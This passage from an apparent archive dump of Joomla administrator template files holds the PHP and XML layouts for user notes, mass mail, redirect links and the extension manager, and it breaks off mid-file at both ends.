$wa->useScript('table.columns')
    ->useScript('multiselect');

$user       = Factory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));

?>
<form action="<?php echo Route::_('index.php?option=com_users&view=notes'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                <table class="table">
                    <caption class="visually-hidden">
                        <?php echo Text::_('COM_USERS_NOTES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                    </caption>
                    <thead>
                        <tr>
                            <td class="w-1 text-center">
                                <?php echo HTMLHelper::_('grid.checkall'); ?>
                            </td>
                            <th scope="col" class="w-1 text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_SUBJECT', 'a.subject', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-20 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_USER', 'u.name', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_REVIEW', 'a.review_time', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-1 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                            </th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($this->items as $i => $item) :
                        $canEdit    = $user->authorise('core.edit', 'com_users.category.' . $item->catid);
                        $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                        $canChange  = $user->authorise('core.edit.state', 'com_users.category.' . $item->catid) && $canCheckin;
                        $subject    = $item->subject ?: Text::_('COM_USERS_EMPTY_SUBJECT');
                        ?>
                        <tr class="row<?php echo $i % 2; ?>">
                            <td class="text-center checklist">
                                <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $subject); ?>
                            </td>
                            <td class="text-center">
                                <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'notes.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                            </td>
                            <th scope="row">
                                <?php if ($item->checked_out) : ?>
                                    <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'notes.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php $subject = $item->subject ?: Text::_('COM_USERS_EMPTY_SUBJECT'); ?>
                                <?php if ($canEdit) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_users&task=note.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($subject); ?>">
                                        <?php echo $this->escape($subject); ?></a>
                                <?php else : ?>
                                    <?php echo $this->escape($subject); ?>
                                <?php endif; ?>
                                <div class="small">
                                    <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                </div>
                            </th>
                            <td class="d-none d-md-table-cell">
                                <?php echo $this->escape($item->user_name); ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <?php if ($item->review_time !== null) : ?>
                                    <?php echo HTMLHelper::_('date', $item->review_time, Text::_('DATE_FORMAT_LC4')); ?>
                                <?php else : ?>
                                    <?php echo Text::_('COM_USERS_EMPTY_REVIEW'); ?>
                                <?php endif; ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <div>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </div>
</form>
notes/default.xml000064400000000310151726443510010044 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_NOTES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_NOTES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
mail/default.php000064400000004663151726443510007644 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\Component\Users\Administrator\View\Mail\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$comUserParams = ComponentHelper::getParams('com_users');
?>

<form action="<?php echo Route::_('index.php?option=com_users&view=mail'); ?>" name="adminForm" method="post" id="mail-form" aria-label="<?php echo Text::_('COM_USERS_MASSMAIL_FORM_NEW'); ?>" class="main-card p-4 form-validate">
    <div class="row">
        <div class="col-lg-9">
            <div class="control-group">
                <?php echo $this->form->getLabel('subject'); ?>
                <span class="input-group">
                    <?php if (!empty($comUserParams->get('mailSubjectPrefix'))) : ?>
                        <span class="input-group-text"><?php echo $comUserParams->get('mailSubjectPrefix'); ?></span>
                    <?php endif; ?>
                    <?php echo $this->form->getInput('subject'); ?>
                </span>
            </div>
            <div class="control-group">
                <?php echo $this->form->getLabel('message'); ?>
                <?php echo $this->form->getInput('message'); ?>
                <?php if (!empty($comUserParams->get('mailBodySuffix'))) : ?>
                    <div class="mt-1 card">
                        <div class="card-body">
                            <?php echo $comUserParams->get('mailBodySuffix'); ?>
                        </div>
                    </div>
                <?php endif; ?>
            </div>
        </div>
        <div class="col-lg-3">
            <?php echo $this->form->renderField('recurse'); ?>
            <?php echo $this->form->renderField('mode'); ?>
            <?php echo $this->form->renderField('disabled'); ?>
            <?php echo $this->form->renderField('bcc'); ?>
            <?php echo $this->form->renderField('group'); ?>
        </div>
    </div>
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
mail/default.xml000064400000000306151726443510007643 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_MAIL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_MAIL_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
links/default.php000064400000022454151726564160010045 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo Route::_('index.php?option=com_redirect&view=links'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if ($this->redirectPluginId) : ?>
            <?php $link = Route::_('index.php?option=com_plugins&client_id=0&task=plugin.edit&extension_id=' . $this->redirectPluginId . '&tmpl=component&layout=modal'); ?>
            <?php echo HTMLHelper::_(
                'bootstrap.renderModal',
                'plugin' . $this->redirectPluginId . 'Modal',
                [
                    'url'         => $link,
                    'title'       => Text::_('COM_REDIRECT_EDIT_PLUGIN_SETTINGS'),
                    'height'      => '400px',
                    'width'       => '800px',
                    'bodyHeight'  => '70',
                    'modalWidth'  => '80',
                    'closeButton' => false,
                    'backdrop'    => 'static',
                    'keyboard'    => false,
                    'footer'      => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"'
                        . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#closeBtn\'})">'
                        . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                        . '<button type="button" class="btn btn-primary" data-bs-dismiss="modal" onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#saveBtn\'})">'
                        . Text::_('JSAVE') . '</button>'
                        . '<button type="button" class="btn btn-success" onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#applyBtn\'}); return false;">'
                        . Text::_('JAPPLY') . '</button>'
                ]
            ); ?>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_REDIRECTS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_OLD_URL', 'a.old_url', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_NEW_URL', 'a.new_url', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_REFERRER', 'a.referer', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_CREATED_DATE', 'a.created_date', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_HITS', 'a.hits', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_REDIRECT_HEADING_STATUS_CODE', 'a.header', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                <?php foreach ($this->items as $i => $item) :
                    $canEdit   = $user->authorise('core.edit', 'com_redirect');
                    $canChange = $user->authorise('core.edit.state', 'com_redirect');
                    ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->old_url); ?>
                        </td>
                        <td class="text-center">
                            <?php echo HTMLHelper::_('redirect.published', $item->published, $i); ?>
                        </td>
                        <th scope="row" class="break-word">
                            <?php if ($canEdit) : ?>
                                <a href="<?php echo Route::_('index.php?option=com_redirect&task=link.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->old_url); ?>">
                                    <?php echo $this->escape(str_replace(Uri::root(), '', rawurldecode($item->old_url))); ?>
                                </a>
                            <?php else : ?>
                                    <?php echo $this->escape(str_replace(Uri::root(), '', rawurldecode($item->old_url))); ?>
                            <?php endif; ?>
                        </th>
                        <td class="small break-word">
                            <?php echo $this->escape(rawurldecode($item->new_url ?? '')); ?>
                        </td>
                        <td class="small break-word d-none d-md-table-cell">
                            <?php echo $this->escape($item->referer); ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('date', $item->created_date, Text::_('DATE_FORMAT_LC4')); ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->hits; ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->header; ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <?php if (!empty($this->items)) : ?>
            <?php echo $this->loadTemplate('addform'); ?>
        <?php endif; ?>
        <?php // Load the batch processing form if user is allowed ?>
            <?php
            if (
                $user->authorise('core.create', 'com_redirect')
                && $user->authorise('core.edit', 'com_redirect')
                && $user->authorise('core.edit.state', 'com_redirect')
            ) : ?>
                <?php echo HTMLHelper::_(
                    'bootstrap.renderModal',
                    'collapseModal',
                    [
                        'title'  => Text::_('COM_REDIRECT_BATCH_OPTIONS'),
                        'footer' => $this->loadTemplate('batch_footer'),
                    ],
                    $this->loadTemplate('batch_body')
                ); ?>
            <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
links/default.xml000064400000000254151726564160010050 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_REDIRECT">
		<message>
			<![CDATA[COM_REDIRECT_XML_DESCRIPTION]]>
		</message>
	</layout>
</metadata>links/default_batch_footer.php000064400000001210151726564160012547 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" onclick="document.getElementById('batch_urls').value='';">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('links.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
links/default_addform.php000064400000004316151726564160011536 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>

<div class="accordion d-none d-sm-block" id="accordion1">
    <div class="accordion-heading pb-3">
        <button class="btn btn-primary" type="button" data-bs-toggle="collapse" data-bs-target="#batch" aria-expanded="false" aria-controls="batch">
            <?php echo Text::_('COM_REDIRECT_BATCH_UPDATE_WITH_NEW_URL'); ?>
        </button>
    </div>
    <div class="collapse card" id="batch">
        <div class="card-body">
            <fieldset>
                <div class="control-group">
                    <div class="control-label">
                        <label id="new_url-lbl" for="new_url">
                            <?php echo Text::_('COM_REDIRECT_FIELD_NEW_URL_LABEL'); ?>
                        </label>
                    </div>
                    <div class="controls">
                        <input class="form-control" type="text" name="new_url" id="new_url" value="" size="50">
                        <small id="new_url-desc" class="form-text">
                            <?php echo Text::_('COM_REDIRECT_FIELD_NEW_URL_DESC'); ?>
                        </small>
                    </div>
                </div>
                <div class="control-group">
                    <div class="control-label">
                        <label id="comment-lbl" for="comment">
                            <?php echo Text::_('COM_REDIRECT_FIELD_COMMENT_LABEL'); ?>
                        </label>
                    </div>
                    <div class="controls">
                        <input class="form-control" type="text" name="comment" id="comment" value="" size="50">
                    </div>
                </div>
                <button class="btn btn-primary" type="button" onclick="this.form.task.value='links.duplicateUrls';this.form.submit();">
                    <?php echo Text::_('COM_REDIRECT_BUTTON_UPDATE_LINKS'); ?>
                </button>
            </fieldset>
        </div>
    </div>
</div>

links/emptystate.php000064400000005712151726564160010616 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$displayData = [
    'textPrefix' => 'COM_REDIRECT',
    'formURL'    => 'index.php?option=com_redirect&view=links',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Redirects:_Links',
    'icon'       => 'icon-map-signs redirect',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_redirect')) {
    $displayData['createURL'] = 'index.php?option=com_redirect&task=link.add';
}

if (
    $user->authorise('core.create', 'com_redirect')
    && $user->authorise('core.edit', 'com_redirect')
    && $user->authorise('core.edit.state', 'com_redirect')
) {
    $displayData['formAppend'] = HTMLHelper::_(
        'bootstrap.renderModal',
        'collapseModal',
        [
            'title' => Text::_('COM_REDIRECT_BATCH_OPTIONS'),
            'footer' => $this->loadTemplate('batch_footer'),
        ],
        $this->loadTemplate('batch_body')
    );
} ?>
<?php if ($this->redirectPluginId) : ?>
    <?php $link = Route::_('index.php?option=com_plugins&client_id=0&task=plugin.edit&extension_id=' . $this->redirectPluginId . '&tmpl=component&layout=modal'); ?>
    <?php echo HTMLHelper::_(
        'bootstrap.renderModal',
        'plugin' . $this->redirectPluginId . 'Modal',
        [
            'url'         => $link,
            'title'       => Text::_('COM_REDIRECT_EDIT_PLUGIN_SETTINGS'),
            'height'      => '400px',
            'width'       => '800px',
            'bodyHeight'  => '70',
            'modalWidth'  => '80',
            'closeButton' => false,
            'backdrop'    => 'static',
            'keyboard'    => false,
            'footer'      => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"'
                . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#closeBtn\'})">'
                . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                . '<button type="button" class="btn btn-primary" data-bs-dismiss="modal" onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#saveBtn\'})">'
                . Text::_('JSAVE') . '</button>'
                . '<button type="button" class="btn btn-success" onclick="Joomla.iframeButtonClick({iframeSelector: \'#plugin' . $this->redirectPluginId . 'Modal\', buttonSelector: \'#applyBtn\'}); return false;">'
                . Text::_('JAPPLY') . '</button>'
        ]
    ); ?>
<?php endif; ?>
<?php echo LayoutHelper::render('joomla.content.emptystate', $displayData);
links/default_batch_body.php000064400000001525151726564160012217 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$published = $this->state->get('filter.published');
$params    = $this->params;
$separator = $params->get('separator', '|');
?>

<div class="container">
    <div class="row">
        <div class="control-group col-md-12 mt-3">
            <label for="batch_urls" class="form-label"><?php echo Text::sprintf('COM_REDIRECT_BATCH_TIP', $separator); ?></label>
            <div class="controls">
                <textarea class="form-control" rows="10" value="" id="batch_urls" name="batch_urls"></textarea>
            </div>
        </div>
    </div>
</div>
link/edit.php000064400000004041151726564160007153 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>

<form action="<?php echo Route::_('index.php?option=com_redirect&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="link-form" aria-label="<?php echo Text::_('COM_REDIRECT_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <fieldset class="main-card mt-3">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'basic', 'recall' => true, 'breakpoint' => 768]); ?>

            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'basic', empty($this->item->id) ? Text::_('COM_REDIRECT_NEW_LINK') : Text::sprintf('COM_REDIRECT_EDIT_LINK', $this->item->id)); ?>

            <?php echo $this->form->renderField('old_url'); ?>
            <?php echo $this->form->renderField('new_url'); ?>
            <?php echo $this->form->renderField('published'); ?>
            <?php echo $this->form->renderField('comment'); ?>
            <?php echo $this->form->renderField('id'); ?>
            <?php echo $this->form->renderField('created_date'); ?>
            <?php echo $this->form->renderField('modified_date'); ?>
            <?php if (ComponentHelper::getParams('com_redirect')->get('mode')) : ?>
                <?php echo $this->form->renderFieldset('advanced'); ?>
            <?php endif; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </fieldset>
</form>
manage/default.php000064400000025304151726570440010150 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_installer.changelog')
    ->useScript('table.columns')
    ->useScript('multiselect');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-manage" class="clearfix">
    <form action="<?php echo Route::_('index.php?option=com_installer&view=manage'); ?>" method="post" name="adminForm" id="adminForm">
        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container">
                    <?php if ($this->showMessage) : ?>
                        <?php echo $this->loadTemplate('message'); ?>
                    <?php endif; ?>
                    <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                    <?php if (empty($this->items)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                        </div>
                    <?php else : ?>
                    <table class="table" id="manageList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_INSTALLER_MANAGE_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'status', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo Text::_('JVERSION'); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JDATE', 'creationDate', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo Text::_('JAUTHOR'); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 d-none d-md-table-cell">
                                    <?php echo Text::_('COM_INSTALLER_HEADING_LOCKED'); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_PACKAGE_ID', 'package_id', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_INSTALLER_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php $createdDateFormat = Text::_('DATE_FORMAT_LC4'); ?>
                        <?php foreach ($this->items as $i => $item) : ?>
                            <tr class="row<?php echo $i % 2;
                            if ($item->status == 2) {
                                echo ' protected';
                            } ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->extension_id, false, 'cid', 'cb', $item->name); ?>
                                </td>
                                <td class="text-center">
                                    <?php if (!$item->element) : ?>
                                    <strong>X</strong>
                                    <?php else : ?>
                                        <?php echo HTMLHelper::_('manage.state', $item->status, $i, $item->status < 2, 'cb'); ?>
                                    <?php endif; ?>
                                </td>
                                <th scope="row">
                                    <span tabindex="0"><?php echo $item->name; ?></span>
                                    <?php if ($item->description) : ?>
                                        <div role="tooltip" id="tip<?php echo $i; ?>">
                                            <?php echo $item->description; ?>
                                        </div>
                                    <?php endif; ?>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->client_translated; ?>
                                </td>
                                <td>
                                    <?php echo $item->type_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php if (!empty($item->version)) : ?>
                                        <?php if (!empty($item->changelogurl)) : ?>
                                            <a href="#changelogModal<?php echo $item->extension_id; ?>" class="changelogModal" data-js-extensionid="<?php echo $item->extension_id; ?>" data-js-view="manage" data-bs-toggle="modal">
                                                <?php echo $item->version?>
                                            </a>
                                            <?php
                                            echo HTMLHelper::_(
                                                'bootstrap.renderModal',
                                                'changelogModal' . $item->extension_id,
                                                [
                                                    'title' => Text::sprintf('COM_INSTALLER_CHANGELOG_TITLE', $item->name, $item->version),
                                                ],
                                                ''
                                            );
                                            ?>
                                        <?php else : ?>
                                            <?php echo $item->version; ?>
                                        <?php endif; ?>
                                    <?php else :
                                        echo '&#160;';
                                    endif; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php if (!empty($item->creationDate)) : ?>
                                        <?php try {
                                            echo HTMLHelper::date($item->creationDate, $createdDateFormat);
                                        } catch (Exception $e) {
                                            echo $item->creationDate;
                                        }?>
                                    <?php else : ?>
                                        <?php echo '&#160;'; ?>
                                    <?php endif; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo !empty($item->author) ? $item->author : '&#160;'; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->folder_translated; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->locked ? Text::_('JYES') : Text::_('JNO'); ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->package_id ?: '&#160;'; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->extension_id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                        <?php // load the pagination. ?>
                        <?php echo $this->pagination->getListFooter(); ?>

                    <?php endif; ?>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
manage/default.xml000064400000000322151726570440010152 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_MANAGE_VIEW_DEFAULT_TITLE">
		<message>
